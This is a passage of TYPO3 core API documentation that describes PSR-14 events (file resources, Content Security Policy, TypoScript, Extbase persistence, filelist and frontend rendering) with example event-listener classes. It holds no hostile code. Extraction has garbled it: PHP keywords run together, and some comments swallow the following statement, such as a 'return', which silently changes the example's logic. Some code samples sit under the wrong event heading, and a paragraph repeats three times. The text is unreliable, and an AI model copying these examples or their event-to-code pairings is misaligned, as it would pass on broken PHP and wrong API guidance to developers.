This event is fired before TYPO3 FAL's native URL generation for a Resource is instantiated.
This allows for listeners to create custom links to certain files (e.g. restrictions) for creating
authorized deeplinks.
getResource()
Returns
\TYPO3\CMS\Core\Resource\ResourceInterface
getStorage()
Returns
\TYPO3\CMS\Core\Resource\ResourceStorage
getDriver()
Returns
\TYPO3\CMS\Core\Resource\Driver\DriverInterface
getPublicUrl()
Returns
?string
setPublicUrl(?string $publicUrl)
param $publicUrl
the publicUrl
ModifyFileDumpEvent
The PSR-14 event
\TYPO3\CMS\Core\Resource\Event\ModifyFileDumpEvent is
fired in the
\TYPO3\CMS\Core\Controller\FileDumpController and allows
extensions to perform additional access / security checks before dumping a file.
The event does not only contain the file to dump but also the PSR-7 Request.
In case the file dump should be rejected, the event has to set a PSR-7
response, usually with a 403 status code. This will then immediately
stop the propagation.
With the event, it is not only possible to reject the file dump request,
but also to replace the file, which should be dumped.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Resource\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Resource\Event\ModifyFileDumpEvent;
#[AsEventListener(
identifier: 'my-extension/modify-file-dump',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyFileDumpEvent $event): void{
// Do magic here
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Event that is triggered when a file should be dumped to the browser, allowing to perform custom
security/access checks when accessing a file through a direct link, and returning an alternative
Response.
It is also possible to replace the file during this event, but not setting a response.
As soon as a custom Response is added, the propagation is stopped.
The PSR-14 event
\TYPO3\CMS\Core\Resource\Event\ModifyIconForResourcePropertiesEvent
is dispatched when an icon for a resource (file or folder) is fetched, allowing
to modify the icon or overlay in an event listener.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
This is an Event every time an icon for a resource (file or folder) is fetched, allowing
to modify the icon or overlay in an event listener.
getResource()
Returns
\TYPO3\CMS\Core\Resource\ResourceInterface
getIconSize()
Returns
\TYPO3\CMS\Core\Imaging\IconSize
getOptions()
Returns
array
getIconIdentifier()
Returns
?string
setIconIdentifier(?string $iconIdentifier)
param $iconIdentifier
the iconIdentifier
getOverlayIdentifier()
Returns
?string
setOverlayIdentifier(?string $overlayIdentifier)
param $overlayIdentifier
the overlayIdentifier
SanitizeFileNameEvent
The PSR-14 event
\TYPO3\CMS\Core\Resource\Event\SanitizeFileNameEvent is
fired once an index was just added to the database (= indexed), so it is possible
to modify the file name, and name the files according to naming conventions of a
specific project.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
This event is fired once an index was just added to the database (= indexed), so it is possible
to modify the file name, and name the files according to naming conventions of a specific project.
getFileName()
Returns
string
setFileName(string $fileName)
param $fileName
the fileName
getTargetFolder()
Returns
\TYPO3\CMS\Core\Resource\Folder
getStorage()
Returns
\TYPO3\CMS\Core\Resource\ResourceStorage
getDriver()
Returns
\TYPO3\CMS\Core\Resource\Driver\DriverInterface
Security
The following list contains PSR-14 events
in EXT:core, namespace Security.
The PSR-14 event
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\Event\InvestigateMutationsEvent
will be dispatched when the
Content Security Policy backend module
searches for potential resolutions to a specific CSP violation report. This way,
third-party integrations that rely on external resources (for example, maps,
file storage, content processing/translation, ...) can provide the necessary
mutations.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\Event\PolicyMutatedEvent
will be dispatched once all mutations have been applied to the current
Content Security Policy object, just before the
corresponding HTTP header is added to the HTTP response object. This allows
individual adjustments for custom implementations.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\ContentSecurityPolicy\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\Event\PolicyMutatedEvent;
useTYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;
#[AsEventListener(
identifier: 'my-extension/mutate-policy',
)]
final readonly classMyEventListener{
publicfunction__invoke(PolicyMutatedEvent $event): void{
if ($event->scope->type->isFrontend()) {
// In our example, only the backend policy should be adjustedreturn;
}
// Allow images from example.org
$event->getCurrentPolicy()->extend(
Directive::ImgSrc,
new UriValue('https://example.org/'),
);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Core\TypoScript\IncludeTree\Event\AfterTemplatesHaveBeenDeterminedEvent
can be used to manipulate
sys_template rows. The event receives the list
of resolved
sys_template rows and the
\Psr\Http\Message\ServerRequestInterface and allows manipulating the
sys_template rows array.
The event is called in the code of the Site Management > TypoScript
backend module, for example in the submodule Included TypoScript,
and in the frontend.
Extensions using the old hook that want to stay compatible with TYPO3 v11
and v12 can implement both the hook and the event.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
A PSR-14 event fired when sys_template rows have been fetched.
This event is intended to add own rows based on given rows or site resolution.
getRootline()
Returns
array
getRequest()
Returns
?\Psr\Http\Message\ServerRequestInterface
getSite()
Convenience method to directly retrieve the Site. May be null though!
Returns
?\TYPO3\CMS\Core\Site\Entity\SiteInterface
getTemplateRows()
Returns
array
setTemplateRows(array $templateRows)
param $templateRows
the templateRows
BeforeLoadedPageTsConfigEvent
New in version 13.0
The PSR-14 event
\TYPO3\CMS\Core\TypoScript\IncludeTree\Event\BeforeLoadedPageTsConfigEvent
can be used to add global static page TSconfig
before anything else is loaded. This is especially useful, if page TSconfig is
generated automatically as a string from a PHP function.
It is important to understand that this configuration is considered static and
thus should not depend on runtime / request.
Extensions can add global page TSconfig right before they are loaded from other sources
like the global page.tsconfig file.
Note: The added config should not depend on runtime / request. This is considered static
config and thus should be identical on every request.
getTsConfig()
Returns
array
addTsConfig(string $tsConfig)
param $tsConfig
the tsConfig
setTsConfig(array $tsConfig)
param $tsConfig
the tsConfig
BeforeLoadedUserTsConfigEvent
New in version 13.0
The PSR-14 event
\TYPO3\CMS\Core\TypoScript\IncludeTree\Event\BeforeLoadedUserTsConfigEvent
can be used to add global static user TSconfig
before anything else is loaded. This is especially useful, if user TSconfig is
generated automatically as a string from a PHP function.
It is important to understand that this configuration is considered static and
thus should not depend on runtime / request.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\TypoScript\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\TypoScript\AST\Event\EvaluateModifierFunctionEvent;
#[AsEventListener(
identifier: 'my-extension/evaluate-modifier-function',
)]
final readonly classMyEventListener{
publicfunction__invoke(EvaluateModifierFunctionEvent $event): void{
if ($event->getFunctionName() === 'myModifierFunction') {
$originalValue = $event->getOriginalValue();
$functionArgument = $event->getFunctionArgument();
// Manipulate values and set new value
$event->setValue($originalValue . ' example ' . $functionArgument);
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners should take care function names can not overlap with function names
from other extensions and should thus namespace, example naming: "extNewsSortFunction()"
getFunctionName()
The function name, for example "extNewsSortFunction" when using "foo := extNewsSortFunction()"
Returns
string
getFunctionArgument()
Optional function argument, for example "myArgument" when using "foo := extNewsSortFunction(myArgument)"
If the argument contained constants, those have been resolved at this point.
Returns
string
getOriginalValue()
Original / current value, for example "fooValue" when using:
foo = fooValue
foo := extNewsSortFunction(myArgument)
Returns
?string
setValue(string $value)
Set the updated value calculated by a listener.
Note you can not set to null to "unset", since getValue() falls back to
originalValue in this case. Set to empty string instead for this edge case.
param $value
the value
getValue()
Used by AstBuilder to fetch the updated value, falls back to given original value.
Can be used by Listeners to see if a previous listener changed the value already
by comparing with getOriginalValue().
Returns
?string
Extbase
The following list contains PSR-14 events
in EXT:extbase.
The PSR-14 event
\TYPO3\CMS\Extbase\Event\Configuration\BeforeFlexFormConfigurationOverrideEvent
can be used to implement a custom FlexForm override process
based on the original FlexForm configuration and the framework configuration.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Extbase\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Extbase\Event\Configuration\BeforeFlexFormConfigurationOverrideEvent;
#[AsEventListener(
identifier: 'my-extension/before-flexform-configuration-override',
)]
final readonly classMyEventListener{
publicfunction__invoke(BeforeFlexFormConfigurationOverrideEvent $event): void{
// Configuration from TypoScript
$frameworkConfiguration = $event->getFrameworkConfiguration();
// Configuration from FlexForm
$originalFlexFormConfiguration = $event->getOriginalFlexFormConfiguration();
// Currently merged configuration
$flexFormConfiguration = $event->getFlexFormConfiguration();
// Implement custom logic
$flexFormConfiguration['settings']['foo'] = 'set from event listener';
$event->setFlexFormConfiguration($flexFormConfiguration);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Event which is dispatched before flexForm configuration overrides framework configuration. Possible core flexForm
overrides have already been processed in $flexFormConfiguration.
Listeners can implement a custom flexForm override process by using the original flexForm configuration available
in $originalFlexFormConfiguration.
The PSR-14 event
\TYPO3\CMS\Extbase\Event\Mvc\AfterRequestDispatchedEvent
is fired after the dispatcher has successfully dispatched a request to a
controller action.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
Event which is fired after the dispatcher has successfully dispatched a request to a controller/action.
getRequest()
Returns
\TYPO3\CMS\Extbase\Mvc\RequestInterface
getResponse()
Returns
\Psr\Http\Message\ResponseInterface
BeforeActionCallEvent
The PSR-14 event
\TYPO3\CMS\Extbase\Event\Mvc\BeforeActionCallEvent is
triggered before any Extbase action is called within the
ActionController
or one of its subclasses.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Extbase\Event\Persistence\EntityAddedToPersistenceEvent
is dispatched after persisting the object, but before updating the reference
index and adding the object to the persistence session.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Extbase\Event\Persistence\EntityRemovedFromPersistenceEvent
is fired after an object/entity was sent to the persistence layer to be removed.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Extbase\Event\Persistence\ModifyQueryBeforeFetchingObjectCountEvent
is fired before the storage backend has asked for results count
from a given query.
The PSR-14 event
\TYPO3\CMS\Extbase\Event\Persistence\ModifyQueryBeforeFetchingObjectDataEvent
is fired before the storage backend is asked for results from a given query.
Example
The example disables the respect storage page flag for the given types (models).
This can be helpful if you are using bounded contexts and therefore have multiple
repository and model classes. By using an event listener, this setting is
centralized and does not to be repeated in each repository class.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Extbase\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Extbase\Event\Persistence\ModifyQueryBeforeFetchingObjectDataEvent;
#[AsEventListener(
identifier: 'my-extension/disabled-respect-storage-page',
)]
final readonly classDisableRespectStoragePage{
privateconst TYPES = [
\MyVendor\MyExtension\Domain\Model\List\MyRecord::class,
\MyVendor\MyExtension\Domain\Model\Show\MyRecord::class,
];
publicfunction__invoke(ModifyQueryBeforeFetchingObjectDataEvent $event): void{
// Only apply it to the given types (models)if (! \in_array($event->getQuery()->getType(), self::TYPES, true)) {
return;
}
$querySettings = $event->getQuery()->getQuerySettings();
$querySettings->setRespectStoragePage(false);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Extbase\Event\Persistence\ModifyResultAfterFetchingObjectCountEvent
is fired after the storage backend has counted the results from a given query.
Event which is fired after the storage backend has counted the results of a given query.
getQuery()
Returns
\TYPO3\CMS\Extbase\Persistence\QueryInterface
getResult()
Returns
int
setResult(int $result)
param $result
the result
ModifyResultAfterFetchingObjectDataEvent
The PSR-14 event
\TYPO3\CMS\Extbase\Event\Persistence\ModifyResultAfterFetchingObjectDataEvent
is fired after the storage backend has pulled results from a given query.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Extensionmanager\Event\AfterExtensionStaticDatabaseContentHasBeenImportedEvent
has been removed. The information provided by this event can be accessed by
fetching the corresponding storage entry from the
PackageInitializationEvent.
The PSR-14 event
\TYPO3\CMS\Extensionmanager\Event\AfterExtensionStaticDatabaseContentHasBeenImportedEvent
has been removed. The information provided by this event can be accessed by
fetching the corresponding storage entry from the
PackageInitializationEvent.
The PSR-14 event
\TYPO3\CMS\Extensionmanager\Event\AfterExtensionStaticDatabaseContentHasBeenImportedEvent
has been removed. The information provided by this event can be accessed by
fetching the corresponding storage entry from the
PackageInitializationEvent.
The PSR-14 event
\TYPO3\CMS\Extensionmanager\Event\AvailableActionsForExtensionEvent
is triggered when rendering an additional action (currently within
a Fluid ViewHelper) in the extension manager.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Filelist\Event\ModifyEditFileFormDataEvent
allows to modify the form data, used to render the file edit form in the
File > Filelist module using
FormEngine data compiling.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\FileList\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Filelist\Event\ModifyEditFileFormDataEvent;
#[AsEventListener(
identifier: 'my-extension/modify-edit-file-form-data',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyEditFileFormDataEvent $event): void{
// Get current form data
$formData = $event->getFormData();
// Change TCA "renderType" based on the file extension
$fileExtension = $event->getFile()->getExtension();
if ($fileExtension === 'ts') {
$formData['processedTca']['columns']['data']['config']['renderType'] = 'tsRenderer';
}
// Set updated form data
$event->setFormData($formData);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners to this event are be able to modify the form data,
used to render the edit file form in the filelist module.
getFormData()
Returns
array
setFormData(array $formData)
param $formData
the formData
getFile()
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
ProcessFileListActionsEvent
The PSR-14 event
\TYPO3\CMS\Core\Configuration\Event\ProcessFileListActionsEvent
is fired after generating the actions for the files and folders listing in the
File > Filelist module.
This event can be used to manipulate the icons/actions, used for the edit control
section in the files and folders listing within the File > Filelist
module.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\FileList\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Filelist\Event\ProcessFileListActionsEvent;
#[AsEventListener(
identifier: 'my-extension/process-file-list',
)]
final readonly classMyEventListener{
publicfunction__invoke(ProcessFileListActionsEvent $event): void{
// do your magic
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Form\Mvc\Persistence\Event\AfterFormDefinitionLoadedEvent
allows extensions to modify loaded form definitions.
The event is dispatched after
\TYPO3\CMS\Form\Mvc\Persistence\FormPersistenceManager has loaded
the definition either from the cache or the filesystem. In latter case, the
event is dispatched after
FormPersistenceManager has stored the loaded
definition in cache. This means, it is always possible to modify the cached
version. However, the modified form definition is then overridden by TypoScript,
in case a corresponding
formDefinitionOverrides
exists.
The PSR-14 event
\TYPO3\CMS\Frontend\Event\AfterCacheableContentIsGeneratedEvent can be
used to decide if a page should be stored in cache.
It is executed right after all cacheable content is generated.
It can also be used to manipulate the content before it is stored in
TYPO3's page cache. In the Core, the event is used in
EXT:indexed_search to index cacheable content.
The
AfterCacheableContentIsGeneratedEvent contains the
information if a generated page is able to store in cache via the
$event->isCachingEnabled() method. This can be used to
differentiate between the previous hooks contentPostProc-cached and
contentPostProc-all. The later hook was called regardless of whether the
cache was enabled or not.
Example
Note
Currently, the example below is outdated. It uses a - now internal -
property
TypoScriptFrontendController->content.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Frontend\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Frontend\Event\AfterCacheableContentIsGeneratedEvent;
#[AsEventListener(
identifier: 'my-extension/content-modifier',
)]
final readonly classMyEventListener{
publicfunction__invoke(AfterCacheableContentIsGeneratedEvent $event): void{
// Only do this when caching is enabledif (!$event->isCachingEnabled()) {
return;
}
$event->getController()->content = str_replace(
'foo',
'bar',
$event->getController()->content,
);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Event that allows to enhance or change content (also depending on enabled caching).
Think of $this->isCachingEnabled() as the same as $TSFE->no_cache.
Depending on disable or enabling caching, the cache is then not stored in the pageCache.
The PSR-14 event
\TYPO3\CMS\Frontend\Event\AfterCachedPageIsPersistedEvent
is commonly used to generate a static file cache. This event is only called if
the page was actually stored in TYPO3's page cache.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Event that is used directly after all cached content is stored in the page cache.
NOT fired, if:
A page is called from the cache
Caching is disabled using 'frontend.cache.instruction' request attribute, which can
be set by various middlewares or AfterCacheableContentIsGeneratedEvent
The amount of seconds until the cache entry is invalid.
Returns
int
AfterContentHasBeenFetchedEvent
New in version 13.4.2 / 14.0
Using the PSR-14
\TYPO3\CMS\Frontend\Event\AfterContentHasBeenFetchedEvent ,
it is possible to manipulate the page content, which has been fetched by the
page-content data processor,
based on the page layout and corresponding columns configuration.
Example
The event listener class, using the PHP attribute
#[AsEventListener] for
registration, removes some of the fetched page content elements based on
specific field values.
Event listeners are able to manipulate fetched page content, which is already grouped by column
publicgroupedContent
publicreadonlyrequest
AfterContentObjectRendererInitializedEvent
New in version 13.0
This event serves as a drop-in replacement for the removed hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['postInit'] .
The PSR-14 event
\TYPO3\CMS\Frontend\ContentObject\Event\AfterContentObjectRendererInitializedEvent
is being dispatched after the
ContentObjectRenderer has been initialized
in its
start() method.
This event serves as a drop-in replacement for the removed hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['getData'] .
In comparison to the removed hook, the event is not dispatched for every
section of the parameter string, but only once, making the former
$secVal superfluous.
The PSR-14 event
\TYPO3\CMS\Frontend\ContentObject\Event\AfterGetDataResolvedEvent
is being dispatched just before
ContentObjectRenderer->getData()
is about to return the resolved "data".
This event serves as a drop-in replacement for the removed hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['getImgResource'] .
The PSR-14 event
\TYPO3\CMS\Frontend\ContentObject\Event\AfterImageResourceResolvedEvent
is being dispatched just before
ContentObjectRenderer->getImgResource()
is about to return the resolved
\TYPO3\CMS\Core\Imaging\ImageResource
DTO. Therefore, the event is - in comparison to
the removed hook - always dispatched, even if no
ImageResource could be
resolved. In this case, the corresponding return value is
null.
It is recommended to use the PSR-14 event instead of the global
getATagParams hook (
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['getATagParamsPostProc'] )
to add additional attributes (see example below) to links.
The PSR-14 event
\TYPO3\CMS\Frontend\Event\AfterLinkIsGeneratedEvent
allows PHP developers to modify any kind of link generated by TYPO3's mighty
typolink() functionality.
By using this event, it is possible to add attributes to links to
internal pages, or links to files, as the event contains the actual information
of the link type with it.
As this event works with the
\TYPO3\CMS\Frontend\Typolink\LinkResultInterface
object it is possible to modify or replace the LinkResult information instead of
working with string replacement functionality for adding, changing or removing
attributes.
If a link could not be generated, a
\TYPO3\CMS\Frontend\Typolink\UnableToLinkException might be thrown.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Returns the original instructions / $linkConfiguration that were used to build the link
Returns
array
AfterPageAndLanguageIsResolvedEvent
Changed in version 13.0
The event no longer receives an instance of
TypoScriptFrontendController, the
getController() method has
been removed: The controller is instantiated after the event has been
dispatched, event listeners can no longer work with this object.
Instead, the event now contains an instance of the new
DTO
\TYPO3\CMS\Frontend\Page\PageInformation , which can be retrieved
and manipulated by event listeners, if necessary.
The PSR-14 event
\TYPO3\CMS\Frontend\Event\AfterPageAndLanguageIsResolvedEvent
is fired in the frontend process after a given page has been resolved
including its language.
This event modifies TYPO3's language resolution logic through custom additions.
It also allows sending a custom response via event listeners (for example,
a custom 403 response).
Note
There are three events in the process around the resolving of a page
and its root line or language based on the incoming request. They are
triggered in the following order:
A PSR-14 event fired in the frontend process after a given page has been resolved including
its language.
This event is intended to e.g. modify TYPO3's language resolving logic by custom additions.
This event also allows to send a custom Response via Event Listeners (e.g. a custom 403 response)
Use the method
getPageInformation() to retrieve the calculated page state
at this point in the frontend rendering chain. Event listeners that manipulate
that object should set it again within the event using
setPageInformation().
In case the middleware
TypoScriptFrontendInitialization no longer
dispatches an event when it created an early response on its own, a custom
middleware can be added around that middleware to retrieve and further
manipulate a response if needed.
AfterPageWithRootLineIsResolvedEvent
Changed in version 13.0
The event no longer receives an instance of
TypoScriptFrontendController, the
getController() method has
been removed: The controller is instantiated after the event has been
dispatched, event listeners can no longer work with this object.
Instead, the event now contains an instance of the new
DTO
\TYPO3\CMS\Frontend\Page\PageInformation , which can be retrieved
and manipulated by event listeners, if necessary.
The PSR-14 event
\TYPO3\CMS\Frontend\Event\AfterPageWithRootLineIsResolvedEvent
fires in the frontend process after a given page has been resolved with
permissions, root line, etc.
This is useful for modifying the page and root (but before resolving the
language), to direct or load content from another page, or for modifying the
page response if additional permissions should be checked.
Tip
There are three events in the process around the resolving of a page
and its root line or language based on the incoming request. They are
triggered in the following order:
A PSR-14 event fired in the frontend process after a given page has been resolved with permissions, rootline etc.
This is useful to modify the page + rootline (but before the language is resolved)
to direct or load content from a different page, or modify the page response if additional
permissions should be checked.
Use the method
getPageInformation() to retrieve the calculated page state
at this point in the frontend rendering chain. Event listeners that manipulate
that object should set it again within the event using
setPageInformation().
In case the middleware
TypoScriptFrontendInitialization no longer
dispatches an event when it created an early response on its own, a custom
middleware can be added around that middleware to retrieve and further
manipulate a response if needed.
AfterStdWrapFunctionsExecutedEvent
New in version 13.0
This event is one of the more powerful replacements for the removed hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap'] .
The PSR-14 event
\TYPO3\CMS\Frontend\ContentObject\Event\AfterStdWrapFunctionsExecutedEvent
is called after the content has been modified by the rest of the
stdWrap functions.
This event is one of the more powerful replacements for the removed hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap'] .
The PSR-14 event
\TYPO3\CMS\Frontend\ContentObject\Event\AfterStdWrapFunctionsInitializedEvent
is dispatched after any stdWrap functions have been
initialized, but before any content gets modified or replaced.
This event can be used to serve as a replacement for the removed
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_fe.php']['pageLoadedFromCache']
hook. Another solution to substitute the removed hook is an own
middleware after
typo3/cms-frontend/prepare-tsfe-rendering.
The PSR-14 event
\TYPO3\CMS\Frontend\Event\AfterTypoScriptDeterminedEvent
is dispatched after the
\TYPO3\CMS\Core\TypoScript\FrontendTypoScript
object has been calculated, just before it is attached to the
request.
The event is designed to enable listeners to act on specific TypoScript
conditions. Listeners must not modify TypoScript at this point, the Core will
try to actively prevent this.
This event is especially useful when "upper" middlewares that do not have the
determined TypoScript need to behave differently depending on TypoScript
config that is only created after them.
The Core uses this in the
TimeTrackInitialization and the
WorkspacePreview middlewares, to determine debugging and preview details.
Note
Both "settings" ("constants") and
config are always set
within the
FrontendTypoScript at this point, even in "fully cached
page" scenarios.
setup and (internal)
page may
not be set.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
This event is dispatched after the FrontendTypoScript object has been calculated,
just before it is attached to the request.
The event is designed to enable listeners to act on specific TypoScript conditions.
Listeners must not modify TypoScript at this point, the core will try to actively
prevent this.
This event is especially useful when "upper" middlewares that do not have the
determined TypoScript need to behave differently depending on TypoScript 'config' that
is only created after them.
The core uses this in the TimeTrackInitialization and the WorkspacePreview middlewares,
to determine debugging and preview details.
Note both 'settings' ("constants") and 'config' are always set within the
FrontendTypoScript at this point, even in 'fully cached page' scenarios. 'setup'
and (@internal) 'page' may not be set.
getFrontendTypoScript()
Returns
\TYPO3\CMS\Core\TypoScript\FrontendTypoScript
BeforePageCacheIdentifierIsHashedEvent
New in version 13.0
This event has been introduced to serve as a direct replacement for the removed
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_fe.php']['createHashBase']
hook.
The PSR-14 event
\TYPO3\CMS\Frontend\Event\BeforePageCacheIdentifierIsHashedEvent
is dispatched just before the final page cache identifier is created, that is
used to get - and later set, if needed and allowed - the page cache row.
The event receives all current arguments that will be part of the identifier
calculation and allows to add further arguments in case page caches need
to be more specific.
This event can be helpful in various scenarios, for example to implement
proper page caching in A/B testing.
Note
This event is always dispatched, even in fully cached page scenarios,
if an outer middleware did not return early (for instance due to permission
issues).
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
This event is dispatched just before the final page cache identifier is created,
that is used to get() - and later set(), if needed and allowed - the page cache row.
The event retrieves all current arguments that will be part of the identifier
calculation and allows to add further arguments in case page caches need
to be more specific.
This event can be helpful in various scenarios, for example to implement
proper page caching in A/B testing.
Note this event is always dispatched, even in fully cached page scenarios,
if an outer middleware did not return early (for instance due to permission issues).
The event no longer receives an instance of
TypoScriptFrontendController, the
getController() method has
been removed: The controller is instantiated after the event has been
dispatched, event listeners can no longer work with this object.
Instead, the event now contains an instance of the new
DTO
\TYPO3\CMS\Frontend\Page\PageInformation , which can be retrieved
and manipulated by event listeners, if necessary.
The PSR-14 event
\TYPO3\CMS\Frontend\Event\BeforePageIsResolvedEvent is
fired before the frontend process is trying to fully resolve a given page by its
page ID and the request.
The events may not be dispatched anymore when the
middleware
\TYPO3\CMS\Frontend\Middleware\TypoScriptFrontendInitialization
creates early responses.
Tip
There are three events in the process around the resolving of a page
and its root line or language based on the incoming request. They are
triggered in the following order:
Use the method
getPageInformation() to retrieve the calculated page state
at this point in the frontend rendering chain. Event listeners that manipulate
that object should set it again within the event using
setPageInformation().
In case the middleware
TypoScriptFrontendInitialization no longer
dispatches an event when it created an early response on its own, a custom
middleware can be added around that middleware to retrieve and further
manipulate a response if needed.
BeforeStdWrapContentStoredInCacheEvent
New in version 13.0
This event serves as a more powerful replacement for the removed hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap_cacheStore'] .
The PSR-14 event
\TYPO3\CMS\Frontend\ContentObject\Event\BeforeStdWrapContentStoredInCacheEvent
is dispatched just before the final stdWrap content is
added to the cache. It allows to fully manipulate the
$content to be
added, the cache
$tags to be used, as well as the corresponding cache
$key and the cache
$lifetime.
Additionally, the new event provides the full TypoScript configuration
and the current
ContentObjectRenderer instance.
This event is one of the more powerful replacements for the removed hook
